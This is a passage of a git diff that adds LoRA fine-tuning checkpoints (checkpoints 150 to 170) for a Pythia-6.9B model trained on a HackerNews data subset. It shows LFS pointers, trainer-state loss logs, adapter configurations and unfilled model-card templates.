b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3bcaf5d599465959a34604f243ccb31173793951cb87212e620141080adcfc19 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d8d4650807606ecb154f56c0690d618726d2a95c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:194b6fa1992819c739493c634fed95d98bb6230d9e9ae7db81ff7ab6dddb87e6 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..61dde1ed8b180510bbda84f0c71356862600ad55 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bdf2188bfe5b1127367f0a0d0628c845d9f54239950b10ed26be9372dba68d0b +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e9d3263bcfa5d62a56c74c931026d6e1762a1781 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0d75316f47d5ef08dad7230d3c189fb5ad736372bf2da793895c59a4ccba811f +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..caf6f51ea5f93c76ef90386688ac79a8e125c160 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/trainer_state.json @@ -0,0 +1,258 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.0, + "eval_steps": 10, + "global_step": 150, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.4579107979264e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..730e8813bbf3481c61b3227ce56de4e304af21ac --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8d18737d505967fa634c1da9d4bf3682c97e69eb55e90dea599362701ec33074 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b258147c62ab02d8b67f9d01f06c294b260aa32f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e529be063e02ece744258f779148f2908eade43d7628589e0a54da82e80ef906 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..564fc6da8e7c6b2c0f5b62f1f2e55b96ec29c066 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0f1a4ff62819275ae908067e10e49db3630270d7e753db72e5d286184508926f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..333a8435179bb1a27e74cf71169524425347df64 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3c60f731d4cb1d489de80d48b0d2bf2049ddfec30c083dac3c65e6fc26b9708e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a053d647dba55a25c42e5e12fb28134376818639 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/trainer_state.json @@ -0,0 +1,273 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.1333333333333333, + "eval_steps": 10, + "global_step": 160, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.62177151778816e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + 